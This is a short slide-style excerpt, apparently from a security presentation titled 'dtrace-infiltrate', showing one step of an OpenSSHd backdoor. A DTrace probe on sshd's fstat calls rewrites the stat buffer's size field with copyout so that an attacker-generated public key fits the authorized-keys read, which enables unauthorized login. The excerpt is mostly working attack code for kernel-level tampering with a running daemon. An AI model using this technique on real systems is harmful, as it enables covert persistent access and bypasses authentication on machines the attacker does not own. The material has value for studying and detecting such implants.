dtrace-infiltrate

OpenSSHd Backdoor
Next the fstat64() probe kicks in. We adjust the size
of the read to match our attacker generated public
key.
syscall::fstat*:return
/(gotpass == 1) && execname == "sshd" && self->thisfstat/
{
self->keysize = (int *)alloca(sizeof(int));
*self->keysize = strlen(authorized_key) + 1;
printf("[+] Changing stat buff st_size to %u\n",*self->keysize);
copyout(self->keysize,(user_addr_t)((char *)self->thisfstat + 96),sizeof(long));
}
self->thisfstat = 0;